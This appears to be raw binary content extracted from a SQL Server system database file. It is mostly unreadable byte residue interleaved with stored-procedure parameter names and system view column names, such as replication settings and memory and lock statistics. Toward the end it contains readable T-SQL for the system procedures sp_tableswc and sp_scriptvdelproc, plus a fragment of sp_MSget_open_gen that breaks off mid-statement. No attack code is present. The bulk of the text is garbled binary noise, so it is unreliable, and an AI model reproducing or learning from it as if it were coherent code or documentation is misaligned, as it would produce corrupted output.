&@rowguid116w&@rowguid126w&@rowguid136w&@rowguid146w&@rowguid156w&@rowguid166w&@rowguid176w&@rowguid186w&@rowguid196w&@rowguid206w&@rowguid216w&@rowguid226w&@rowguid236w&@rowguid246w&@rowguid256w&@rowguid266w&@rowguid276w&@rowguid286w&@rowguid296w &@rowguid306w!&@rowguid316w"&@rowguid326w#&@rowguid336w$&@rowguid346w%&@rowguid356w&&@rowguid366w'&@rowguid376w(&@rowguid386w)&@rowguid396w*&@rowguid406w+&@rowguid416w,&@rowguid426w-&@rowguid436w.&@rowguid446w/&@rowguid456w0&@rowguid466w1&@rowguid476w2&@rowguid486w3&@rowguid496wf(@rowguid100,@publisher_db6\*@publication6\6@allow_queued_tran62L8@original_publisher62L,@publisher_db62LJ@bypass_publisher_validation6GUB@publisher_linked_server6GU8@original_publisher6GU,@publisher_db6GU:@replica_server_name6՛@mode6՛0@monitor_server6՛L@monitor_server_security_mode6՛<@monitor_server_login6՛B@monitor_server_password6$@database6(@primary_idƲ6?`8@destination_server6?`*@publication6?`"@article6?`&@show_rows6/*@publication6/&@publisher6/,@publisher_db6!F&@tablenick6j,@partition_id6j"@maxrows6j"@genlist6j&@tablenick6j"@rowguid6j@pubid6j @mingen6j @maxgen6j	>@enumentirerowmetadata6*p0&@replicaid6*p0*@needcleanup6w@pubid6w&@tablenick6w$@rowguid16w$@rowguid26w$@rowguid36w$@rowguid46w$@rowguid56w$@rowguid66w	$@rowguid76w
$@rowguid86w$@rowguid96w&@rowguid106w
&@rowguid116w&@rowguid126w&@rowguid136w&@rowguid146w&@rowguid156w&@rowguid166w&@rowguid176w&@rowguid186w&@rowguid196w&@rowguid206w&@rowguid216w&@rowguid226w&@rowguid236w&@rowguid246w&@rowguid256w&@rowguid266w&@rowguid276w&@rowguid286w&@rowguid296w &@rowguid306w!&@rowguid316w"&@rowguid326w#&@rowguid336w$&@rowguid346w%&@rowguid356w&&@rowguid366w'&@rowguid376w(&@rowguid386w)&@rowguid396w*&@rowguid406w+&@rowguid416w,&@rowguid426w-&@rowguid436w.&@rowguid446w/&@rowguid45lF b<~X2tN(


j
D
\
`:8	D	\n"V6	z		V$
<b
Z2T f@

x
R
(
`
+L)d@Md6
$DATA_TYPE6*DATA_TYPE_906(DESCRIPTION6	(IS_NULLABLE60LOCAL_TYPE_NAME64MANAGED_DATA_TYPE64NUMERIC_PRECISION6,NUMERIC_SCALE62ORDINAL_POSITION64PARAMETER_DEFAULT6:PARAMETER_HASDEFAULT6.PARAMETER_NAME6.PARAMETER_TYPE64PROCEDURE_CATALOG6.PROCEDURE_NAME62PROCEDURE_SCHEMA6<SS_DATETIME_PRECISION6:SS_TYPE_CATALOG_NAME66SS_TYPE_SCHEMANAME6BSS_UDT_ASSEMBLY_TYPENAME66SS_UDT_CATALOGNAME6(SS_UDT_NAME64SS_UDT_SCHEMANAME6XSS_XML_SCHEMACOLLECTION_CATALOGNAME6VSS_XML_SCHEMACOLLECTION_SCHEMANAME6HSS_XML_SCHEMACOLLECTIONNAME6$TYPE_NAME6^	0@merge_duration6^.@merge_message6^,@merge_status6^(@merge_time6^*@publication6^&@publisher6^,@publisher_db6^(@subscriber6^.@subscriber_db6a*@fUsePattern6a(@table_name6a*@table_owner6a2@table_qualifier6a(@table_type6c@onoffs+6s+4@varbinary8_value6v.@subscriber_db6v6@subscriber_server6E*@publication6E&@publisher6E,@publisher_db6E6@run_at_subscriber6E.@schemaversion6E(@subscriber6E.@subscriber_db6E6@subscription_type6+*@srvrolename6Y@ftcat6F@onoff6O*cluster_name6O*quorum_state6O4quorum_state_desc6O(quorum_type6O2quorum_type_desc6[*@debug_print6[@objid6[B@schemasubtype_addcolumn6[:@schemasubtype_adddf6i"@catalog6i@name6i @schema6i @server6i*CHECK_OPTION6i(DESCRIPTION6i*IS_UPDATABLE6i,TABLE_CATALOG6i&TABLE_NAME6i*TABLE_SCHEMA6i0VIEW_DEFINITION6s$@binvalue6s$@hexvalue6bt"index_id6bt$object_id6bt,physical_name6y created6y(database_id6yid6y$object_id6ysid6^
@@merge_percent_complete6V@dbms6V"@version6!*@publication6!"@article6!,@returnfilter6!&@publisher6!@found6T@tabid6~ buckets6~*hashed_trans6~0completed_trans6~4compensated_trans6~0first_begin_lsn6~0last_commit_lsn6@.O&@publisher6@.O(@subscriber6@.O(@agent_type6@.O0@frequency_type6@.O8@frequency_interval6@.OJ@frequency_relative_interval6@.OJ@frequency_recurrence_factor6@.O4@frequency_subday6@.O	F@frequency_subday_interval6@.O
D@active_start_time_of_day6@.O@@active_end_time_of_day6@.O6@active_start_date6@.O
2@active_end_date6&@publisher6,@publisher_db6*@publication60@publication_id64@publication_type66@independent_agent60@immediate_sync6(@allow_push6	(@allow_pull6
2@allow_anonymous60@snapshot_agent62@logreader_agent6
*@description6&@retention6*@vendor_name6*@sync_method6B@allow_subscription_copy68@thirdparty_options66@allow_queued_tran6(@queue_type60@publisher_type6"@options6>@retention_period_unit6D@publisher_engine_edition6L@allow_initialize_from_backup6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6(@xact_seqno6$@agent_id6V$@agent_id6V(@agent_type6V$@database6V@mode*6*@artid6*"@artnick6*@timestampbm6@objid6G*@publication6@pubid6nD$@viewname6nD:@has_dynamic_filters6nDN@dynamic_filters_function_list6nD0@uses_host_name6nD4@uses_suser_sname6NZ&@tablename6NZ&@ownername6NZ$@procname6NZ@pubid6NZ@artid6NZD@generate_downlevel_procs6NZD@generate_subscriber_proc6NZ6@destination_owner6m&@tablenamed@*pL(


|
R
*

Hd>Ld0
XT
0R
,fV8*
4^8`f6(4Pv
@

			Z	4	
	RzFr$NxrdFp$BvJ|*v@R b(b.`-V`)
B_%6us4@destination_dbms6us:@destination_version6us*@source_dbms6us6@source_length_max6us6@source_length_min6us
2@source_nullable6us<@source_precision_max6us<@source_precision_min6us	4@source_scale_max6us4@source_scale_min6us*@source_type6us0@source_version6Aw6@distributor_login6Aw<@distributor_password6AwF@distributor_security_mode6Aw
&@job_login6Aw,@job_password6Aw2@publisher_login6Aw	8@publisher_password6AwB@publisher_security_mode6Aw4@subscriber_login6Aw:@subscriber_password6AwD@subscriber_security_mode6xdop6x&grant_time6x4granted_memory_kb6x"group_id6x0ideal_memory_kb6x4is_next_candidate6x"is_small6x6max_used_memory_kb6x(plan_handle6x pool_id6x&query_cost6x"queue_id6x&request_id6x*request_time6x8requested_memory_kb6x	6required_memory_kb6x<resource_semaphore_id6x*scheduler_id6x&session_id6x&sql_handle6x
(timeout_sec6x
.used_memory_kb6x&wait_order6x*wait_time_ms6@dbid6@objid6$column_id6*display_term6.document_count6 keyword6느
$@agent_id6느"@art_col6느@artid6느 @colpos6느*@get_num_col6느@key6느"@num_col6느@objid6느	2@skipcomputedcol6느$@this_col6є&ip_address6є.ip_subnet_mask6є is_dhcp6є(listener_id6є4network_subnet_ip6єBnetwork_subnet_ipv4_mask6єJnetwork_subnet_prefix_length6єstate6є	&state_desc66@constraint_schemar6r4@physical_locator6ܞ$@reserved6$bucket_no6*cache_buffer6(database_id6*log_block_id6us
4@destination_type6us8@destination_length6us>@destination_precision6us6@destination_scale6us<@destination_nullable6us(@is_default6L|*@publication6L|"@article6L|*@filter_name6L|.@filter_clause6L|F@force_invalidate_snapshot6L|F@force_reinit_subscription6L|&@publisher6L|0@publisher_type6yt@pubid6yt@artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


x
D
6

t2bj$>



h
J
(

			h	J	.		b<h>R0vP8DB$vBd.X<p`U)8\#_6',dest_nullable6'.dest_precision6'&dest_scale6'
&is_defined6'	"is_pkcol6'*is_published6'"is_valid6'&mapping_id6'(source_info6@ @dbname6@$@filename6R(database_id6R0exec_context_id6R	Tinternal_objects_alloc_page_count6R
Xinternal_objects_dealloc_page_count6R.is_remote_task6R(pdw_node_id6R&request_id6R&session_id6R*task_address6RLuser_objects_alloc_page_count6RPuser_objects_dealloc_page_countD5!6D5! @prefix6D5!*@publication6D5!&@publisher6D5!*@publisherdb6D5!,@subscriberdb6"(database_id6"&error_type6" file_id6"4modification_time6" page_id6"(page_status6F&@publisher6F,@publisher_db6F$@reserved6F6@subscription_type6JP*component_id6JP.component_name6JP"group_id6|R4buffers_available6|R,bytes_per_sec6|R	0bytes_processed6|R command6|R"cpu_time6|R2destination_info6|R0distribution_id6|R"dms_cpid6|R.dms_step_index6|R"end_time6|R"error_id6|R(pdw_node_id6|R&query_time6|R&request_id6|R
.rows_processed6|R(source_info6|R"sql_spid6|R&start_time6|Rstatus6|R&step_index6|R
6total_elapsed_time6|Rtype6T*registry_key6T&value_data6T&value_name6[
:BOOKMARK_INFORMATION6[	,BOOKMARK_TYPE6[$BOOKMARKS6[(CARDINALITY6[
(DESCRIPTION6[$OBJECT_ID6[$SCHEMA_ID6[,TABLE_CATALOG6[(TABLE_FLAGS6[&TABLE_GUID6[&TABLE_NAME6[*TABLE_PROPID6[*TABLE_SCHEMA6[&TABLE_TYPE6[,TABLE_VERSION6)`(@DatabaseId6)`/2blocks_from_disk6)`-.blocks_from_LC6)`.8blocks_from_LogPool6)`+*cache_misses6)`*:consumed_block_count6)`(consumer_id6)`,consumer_name6)`:current_cache_buffer6)`(current_lsn6)`(database_id6<*@publication6<"@article6< @column6<&@operation6<@@refresh_synctran_procs6<8@ignore_distributor6<.@change_active6<F@force_invalidate_snapshot6<	F@force_reinit_subscription6<
&@publisher6<0@publisher_type6<0@publisher_dbms6<
6@publisher_version6&H*@publication6&H&@publisher6&H0@publisher_type6&H*@ad_guidname6&H0@logreaderAgent6Jz7@pubid6Jz7@artid6Jz7$@cmdstate6Jz7&@setprefix6_(@article_id6_6@include_timestamp6_*@column_list6$9,@publisher_id6$9,@publisher_db6$9*@publication6
@colv6*@publication6"@article6 @column6&@operation68@schema_replication6F@force_invalidate_snapshot6F@force_reinit_subscription6n
*@publication6n
:@compatibility_level6n
"@pubidin6u @object6u@artid6u@owner6u@pubid6u8@recreate_repl_view!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|Tb*


v
P
&
\8t:


t
N
0


			l	F		Z(V4tN$V06hv"8d^:nFr<t"`8
^.d*tR(`)N5F6) wait_id6%*@publication6u6@initial_file_name6u0@initial_offset6u @mdpath6u@path6u&event_data6u$file_name6u(file_offset6u(module_guid6u(object_name6u*package_guid6
(pdw_node_id6
Nregion_allocation_base_address6
Jregion_allocation_protection6
8region_base_address6
Dregion_current_protection6
:region_size_in_bytes6
*region_state6
(region_type6%"@article6%*@update_mode6%&@publisher6%0@publisher_type6%6@nvarcharmaxscript6@agent6(@agent_name6 @status6"@message6(@subscriber6*@publication6"@article6TQ&@publisher6TQ,@publisher_db6TQ*@publication6TQ4@publication_type6TQ@mode6TQ @topnum6TQ6@exclude_anonymous6TQ.@refreshpolicy64@pubid64$@rowguid164$@rowguid264$@rowguid364$@rowguid464$@rowguid564$@rowguid664	$@rowguid764
$@rowguid864$@rowguid964&@rowguid1064
&@rowguid1164&@rowguid1264&@rowguid1364&@rowguid1464&@rowguid1564&@rowguid1664&@rowguid1764&@rowguid1864&@rowguid1964&@rowguid2064&@rowguid2164&@rowguid2264&@rowguid2364&@rowguid2464&@rowguid2564&@rowguid2664&@rowguid2764&@rowguid2864&@rowguid2964 &@rowguid3064!&@rowguid3164"&@rowguid3264#&@rowguid3364$&@rowguid3464%&@rowguid3564&&@rowguid3664'&@rowguid3764(&@rowguid3864)&@rowguid3964*&@rowguid4064+&@rowguid4164,&@rowguid4264-&@rowguid4364.&@rowguid4464/&@rowguid45640&@rowguid46641&@rowguid47642&@rowguid48643&@rowguid49644&@rowguid50645&@rowguid51646&@rowguid52647&@rowguid53648&@rowguid54649&@rowguid5564:&@rowguid5664;&@rowguid5764<&@rowguid5864=&@rowguid5964>&@rowguid6064?&@rowguid6164@&@rowguid6264A&@rowguid6364B&@rowguid6464C&@rowguid6564D&@rowguid6664E&@rowguid6764F&@rowguid6864G&@rowguid6964H&@rowguid7064I&@rowguid7164J&@rowguid7264K&@rowguid7364L&@rowguid7464M&@rowguid7564N&@rowguid7664O&@rowguid7764P&@rowguid7864Q&@rowguid7964R&@rowguid8064S&@rowguid8164T&@rowguid8264U&@rowguid8364V&@rowguid8464W&@rowguid8564X&@rowguid8664Y&@rowguid8764Z&@rowguid8864[&@rowguid8964\&@rowguid9064]&@rowguid9164^&@rowguid9264_&@rowguid9364`&@rowguid9464a&@rowguid9564b&@rowguid9664c&@rowguid9764d&@rowguid9864e&@rowguid9964f(@rowguid1006yڱ@pubid6yڱ@objid6yڱ,@tablenickstr6yڱ@phase&@rowguid4264-&@rowguid4364.&@rowguid4464/&@rowguid45640&@rowguid46641&@rowguid47642&@rowguid48643&@rowguid49644&@rowguid50645&@rowguid51646&@rowguid52647&@rowguid53648&@rowguid54649&@rowguid5564:&@rowguid5664;&@rowguid5764<&@rowguid5864=&@rowguid5964>&@rowguid6064?&@rowguid6164@&@rowguid6264A&@rowguid6364B&@rowguid6464C&@rowguid6564D&@rowguid6664E&@rowguid6764F&@rowguid6864G&@rowguid6964H&@rowguid7064I&@rowguid7164J&@rowguid7264K&@rowguid7364L&@rowguid7464M&@rowguid7564N&@rowguid7664O&@rowguid7764P&@rowguid7864Q&@rowguid7964R&@rowguid8064S&@rowguid8164T&@rowguid8264U&@rowguid8364V&@rowguid8464W&@rowguid8564X&@rowguid8664Y&@rowguid8764Z&@rowguid8864[&@rowguid8964\&@rowguid9064]&@rowguid9164^&@rowguid9264_&@rowguid9364`&@rowguid9464a&@rowguid9564b&@rowguid9664c&@rowguid97hDpJ$fb@\6>xR,nH"d>Z4vP*


l
F
 
b<~X2


t
N
(

f			j	D		B$t0`8rL0F
r(`>"rLP&`).c2fG6}(COLUMN_NAME6},COLUMN_PROPID6}$DATA_TYPE6}6DATETIME_PRECISION6}(DESCRIPTION6}.DOMAIN_CATALOG6}(DOMAIN_NAME6},DOMAIN_SCHEMA6}(IS_NULLABLE6}4NUMERIC_PRECISION6},NUMERIC_SCALE6}2ORDINAL_POSITION6},TABLE_CATALOG6}&TABLE_NAME6}*TABLE_SCHEMA6}
$TYPE_GUID6$(@originator6$.@originator_db6$(@article_id6$(@command_id6$
2@partial_command6$"@command6$&@publisherB#6B#4@capture_instance6B#*@column_namesion6G,special_build6R@artid6R @ddlcmd6R@pubid6S&@articleid6S"@command6S,@command_type6S@owner6S.@publicationid6S&@publisher6S8@subscription_level6S@table:|6:|&@host_name6:|,@partition_id6:|*@suser_snamec6c @pstrin6&@functname6g.@cursor_return6g>@fulltext_catalog_name6(database_id60exec_context_id6	Tinternal_objects_alloc_page_count6
Xinternal_objects_dealloc_page_count6.is_remote_task6&request_id6&session_id6*task_address6Luser_objects_alloc_page_count6Puser_objects_dealloc_page_count6*@publication6&@publisher6,@publisher_db6"@toupper6$.authority_name6$Pauthorized_spatial_reference_id6$:spatial_reference_id6$>unit_conversion_factor6$0unit_of_measure6$0well_known_text6C*@bound_value6C(@check_only6C&@drop_only6C2@initial_setting6C,@is_publisher6C&@next_seed6C@objid6C@range6(@servername6+"@article6+*@publication6+(@subscriber61"@devtype61@end61 @fname161"@fname1061"@fname1161"@fname1261"@fname1361"@fname1461"@fname1561"@fname1661"@fname1761"@fname186+0@destination_db6+&@sync_type6+ @status6+6@subscription_type6+*@update_mode6+	8@loopback_detection6+
0@frequency_type6+8@frequency_interval6+J@frequency_relative_interval6+
J@frequency_recurrence_factor6+4@frequency_subday6+F@frequency_subday_interval6+D@active_start_time_of_day6+@@active_end_time_of_day6+6@active_start_date6+2@active_end_date6+>@optional_command_line6+$@reserved6+:@enabled_for_syncmgr6+4@dts_package_name6+<@dts_package_password6+<@dts_package_location6+>@distribution_job_name6+4@backupdevicetype6+4@backupdevicename6+.@mediapassword6+$@password6+(@fileidhint6+  @unload6+!2@subscriptionlsn6+"&@publisher6+#0@publisher_type6+$:@subscriptionstreams6+%2@subscriber_type6H*@publication6H"@article6H(@subscriber6H @status6H2@previous_status6H0@destination_db6H0@frequency_type6H8@frequency_interval6H	J@frequency_relative_interval6H
J@frequency_recurrence_factor6H4@frequency_subday6HF@frequency_subday_interval6H
D@active_start_time_of_day6H@@active_end_time_of_day6H6@active_start_date6H2@active_end_date6H>@optional_command_line6H8@distribution_jobid6H0@from_auto_sync6H8@ignore_distributor6H,@offloadagent6H.@offloadserver6H4@dts_package_name6H<@dts_package_password6H<@dts_package_location6H<@skipobjectactivation6H>@distribution_job_name6H&@publisher6H0@publisher_type6HH@ignore_distributor_failure6*@publication6"@article6@objid6@artid6sq5@artid6sq5.@publishertype6sq5&@publisher6H*@publication6$,@publisher_id6$,@publisher_db6$"@xact_id6$(@xact_seqno6$(@originator6$.@originator_db6$(@article_id6$(@command_id6$
2@partial_command6$"@command6$&@publisherB#NxV0xL&x\:ht@2r@d6`,\)x/Cqt6O,@publisher_db6O6@subscription_type6$@newvalue6]record6]8ring_buffer_address6]2ring_buffer_type6]$timestamp6($@loginame6 @newpwd6$@rolename6.@database_name6$@loginame6"@numjobs6"@db_orig64@keep_replication62@perform_upgrade62@recoveryforklsn6$@srv_orig6*]$@filename6!
2@allow_anonymous6!&@allow_dts6!(@allow_pull6!(@allow_push6!6@allow_queued_tran6!2@allow_sync_tran6!:@alt_snapshot_folder6!8@autogen_sync_procs6!6@compress_snapshot6!*@description6!
<@enabled_for_internet6!*@ftp_address6!&@ftp_login6!,@ftp_password6!$@ftp_port6!4@ftp_subdirectory6!	0@immediate_sync6!6@independent_agent6!<@post_snapshot_script6!:@pre_snapshot_script6!*@publication6!&@repl_freq6!(@restricted6!&@retention6!F@snapshot_in_defaultfolder6! @status6!*@sync_method6! @taskid6#@name6B34@destination_dbms6B3:@destination_version6B3*@source_dbms6B30@source_version6_U7(@originator6_U7.@originator_db6_U7@@originator_publication6_U7(@xact_seqno6A6CONSTRAINT_CATALOG6A0CONSTRAINT_NAME6A4CONSTRAINT_SCHEMA6A.DOMAIN_CATALOG6A(DOMAIN_NAME6A,DOMAIN_SCHEMA6A6INITIALLY_DEFERRED6A,IS_DEFERRABLE6I,@whattocreate6~	K@artid6~	K@colid6~	K&@operation6~	K@type6Zg&@indexname6Zg,@query_sample6Zg"@tabname6Zg.@verboseoutputu6u6@subscription_name6v6index_group_handle6v*index_handle6ӈ@dbms6ӈ"@version6(member_name6*member_state64member_state_desc6(member_type62member_type_desc6>number_of_quorum_votesf6f@inmap6f@objid6f&@total_col6!B@allow_subscription_copy6!2@conflict_policy6!>@centralized_conflicts6! 8@conflict_retention6!!(@queue_type6!"B@add_to_active_directory6!#8@logreader_job_name6!$4@qreader_job_name6!%&@publisher6!&L@allow_initialize_from_backup6!'.@replicate_ddl6!(2@enabled_for_p2p6!)H@publish_local_changes_only6!*:@enabled_for_het_sub6!+>@p2p_conflictdetection6!,6@p2p_originator_id6!-B@p2p_continue_onconflict6!.@@allow_partition_switch6!/H@replicate_partition_switch65C@artid65C.@publishertype65C&@publisher6&@publisher6,@publisher_db6&@tablename6*@current_max6&@threshold6@range6&@next_seed6&@pub_range64@capture_instance6_X$@job_type6_X&@start_job6_X$@maxtrans6_X$@maxscans6_X(@continuous6_X2@pollinginterval6_X&@retention6_X&@threshold6_X	:@check_for_logreader6oC*@publication6oC @dbname6oC(@servername6oC@pubidg6g:@compatibility_level6g4@article_resolver6g0@resolver_clsid6*@publication6(@subscriber6.@subscriber_db6&@publisher6,@publisher_db66@subscription_type6@found6İ*@publication6İ(@subscriber6İ.@subscriber_db6İ6@subscription_type6İ8@ignore_distributor6İ$@reserved61(@table_name61(@owner_name61.@filter_clause6oo*@publication6l	*@publication6l	&@publisher6l	,@publisher_db60@filtered_table6(@join_table66@join_filterclause%e6%e@artid6%e@pubid6!"@maxrows6!&@tablenick6!"@rowguid6!@pubid6!*@compatlevel6!>@enumentirerowmetadata6!<@blob_cols_at_the_end6&@tablenick6"@rowguid6(@generation6@type6"@lineage6@colv6@pubid6*@compatlevel6$@typename6@flags	~	N	$	zP0v`6Lp<`P6(\v&@\~Zh@6|.\dZ6`:F zln<,Hj,`ES)82t69Vw'DSS_UDT_ASSEMBLY_TYPE_NAME69Vw%8SS_UDT_CATALOG_NAME69Vw&6SS_UDT_SCHEMA_NAME69Vw(ZSS_XML_SCHEMACOLLECTION_CATALOG_NAME69Vw*JSS_XML_SCHEMACOLLECTION_NAME69Vw)XSS_XML_SCHEMACOLLECTION_SCHEMA_NAME69Vw
$TYPE_NAME69Vw*TYPE_NAME_2867@objid62allocated_memory62available_memory6"error_id6	*handle_count6*is_available6(pdw_node_id64process_cpu_usage6&process_id6*process_name6
,received_time6$sent_time6*thread_count60total_cpu_usage6
6total_elapsed_time6"@article6*@publication6l0&@data_path6l0$@sql_path66lock_owner_address6(pdw_node_id6
@request_exec_context_id62request_lifetime6*request_mode66request_owner_guid62request_owner_id6Frequest_owner_lockspace_id66request_owner_type6
@request_reference_count66request_request_id66request_session_id6	.request_status6*request_type6Lresource_associated_entity_id6:resource_database_id6:resource_description6@resource_lock_partition62resource_subtype6,resource_type6*@publication6*@vendor_name64appdomain_address6(assembly_id6$load_time6R2@policy_category6}n6constraint_catalog6}n0constraint_name6}n4constraint_schema6}n&index_name6}n,table_catalog6}n&table_name6}n*table_schema6}n$type_desc6Lio_completion_request_address6Lio_completion_routine_address6$io_handle6	$io_offset6&io_pending68io_pending_ms_ticks6 io_type6:io_user_data_address6
(pdw_node_id64scheduler_address62(@profile_id62$@property62@value6"index_id6.is_default_uri6$object_id6prefix6uri6.collation_name6"index_id6(@subscriber60@destination_db6$@property6@value6&@publisher6"@command6(@prependDBO6Ł*@publication6Ł.@rowcount_only6Ł,@full_or_fast6Ł0@shutdown_agent6Ł&@publisher6|(@article_id6|(@index_name6o&@publisher6u*@publication6u&@publisher6u,@publisher_db6~8@original_publisher6~,@publisher_db6~<@redirected_publisher6~B@publisher_linked_server6~@@use_caller_credentials6<@type6<@mode6<@jobid6<$@job_name6<*@description6<"@command6<&@overwrite6J.@source_schema6J*@source_name6J<@captured_column_listO6O4@capture_instance6O*@column_name6O*@update_mask6'&@wait_time6'.@lock_acquired6j*@publication6j.@source_object6j&@publisher6j,@publisher_db6jD@logical_record_conflictsV56V5@bmn6n0@system_type_id6n(@max_length6TG,@etiTableName6Oՙ4@includeaddressesR$z,\8z@

z
Z
"
h|V"

dB4
b<f:Xf
>


			X		X.TpFvf<6^R,tzP,|T*z@f\2l`(<H4c0	6 8
create procedure sys.sp_tableswc
(
    @table_name         nvarchar(384)   = null,
    @table_owner        nvarchar(384)   = null,
    @table_qualifier    sysname = null,
    @table_type         varchar(100) = null,
    @fUsePattern        bit = 1, -- To allow users to explicitly disable all pattern matching.
    @fTableCreated      bit = 0  -- whether our caller created the table #sptableswc for us to insert into or we should create/drop it ourselves
)
as
    declare @databasename   sysname
    declare @qualprocname   nvarchar(142) -- 128 + '.sys.sp_tables'

    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((@table_name is not null) and
            (@table_owner is not null) and
            (isnull(charindex('%', @table_name),0) = 0) and
            (isnull(charindex('_', @table_name),0) = 0) and
            (isnull(charindex('%', @table_owner),0) = 0) and
            (isnull(charindex('_', @table_owner),0) = 0))
        begin
             select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fTableCreated = 0
    begin
        create table #sptableswc
        (
            TABLE_QUALIFIER sysname collate catalog_default null,
            TABLE_OWNER sysname collate catalog_default null,
            TABLE_NAME sysname collate catalog_default null,
            TABLE_TYPE  varchar(32) collate catalog_default null,
            REMARKS varchar(254) collate catalog_default null
        )
    end

    if @fUsePattern = 0
    begin
        select @qualprocname = quotename(@table_qualifier) + '.sys.sp_tables'

        if object_id(@qualprocname) is null
        begin
            -- DB doesn't exist - request an empty resultset from current DB.
            select @qualprocname = 'sys.sp_tables'
            select @table_name = ' ' -- no tables with that name could possibly exist
        end

        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(@qualprocname, '@qualprocname = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_qualifier, '@table_qualifier = null')
        print isnull(@table_type, '@table_type = null')
        print '*************'
        */
        insert into #sptableswc exec @qualprocname @table_name, @table_owner, @table_qualifier, @table_type, @fUsePattern
    end
    else
    begin

        declare cursDB cursor local for
            select
                name
            from
                sys.databases d
            where
                d.name like @table_qualifier and
                d.name <> 'model' and
                has_dbaccess(d.name)=1
            for read only

        open cursDB

        fetch next from cursDB into @databasename
        while (@@FETCH_STATUS <> -1)
        begin
            if (charindex('%', @databasename) = 0)
            begin   -- Skip dbnames w/wildcard characters to prevent loop.
                select @qualprocname = quotename(@databasename) + '.sys.sp_tables'

                /* -- Debug output, do not remove it.
                print '*************'
                print 'THERE IS pattern matching!'
                print @fUsePattern
                print isnull(@qualprocname, '@qualprocname = null')
                print isnull(@table_name, '@table_name = null')
                print isnull(@table_owner, '@table_owner = null')
                print isnull(@databasename, '@databasename = null')
                print isnull(@table_type, '@table_type = null')
                print '*************'
                */
                insert into #sptableswc
                exec @qualprocname @table_name, @table_owner, @databasename, @table_type, @fUsePattern
            end
            fetch next from cursDB into @databasename
        end

        deallocate cursDB


    end

    if @fTableCreated = 0
    begin
        select
            *
        from
            #sptableswc
        order by 4, 1, 2, 3

        drop table #sptableswc
    end
0W8@ 08create procedure sys.sp_scriptvdelproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptdelproccore 
                @artid = @artid
                ,@format = 4            -- VCALL format
                ,@mode = 1              -- regular scripting mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
0}8@ ]8create procedure sys.sp_MSget_open_gen
    @art_nick int,
    @max_changes_in_gen int,
    @nickbin varbinary(255),
    @gen bigint output,
    @changes_in_gen int output
as
    declare @target_gen bigint
    declare @changes_in_target_gen bigint
    declare @error int
    
    select @target_gen = NULL
    if @max_changes_in_gen > 0
        select top 1 @target_gen = generation, @changes_in_target_gen = changecount 
            from dbo.MSmerge_genhistory with (readpast, updlock, rowlock)
            where genstatus = 0 and changecount < @max_changes_in_gen and art_nick = @art_nick
    else
        select top 1 @target_gen = generation, @changes_in_target_gen = changecount 
            from dbo.MSmerge_genhistory with (readpast, updlock, rowlock)
            where genstatus = 0 and art_nick = @art_nick    
    if @target_gen is NULL
    begin
        insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
              values  (newid(), 0, @art_nick, @nickbin, getdate(), 0)
        select @error = @@error, @target_gen = @@identity
        if @error<>0 
            return 1
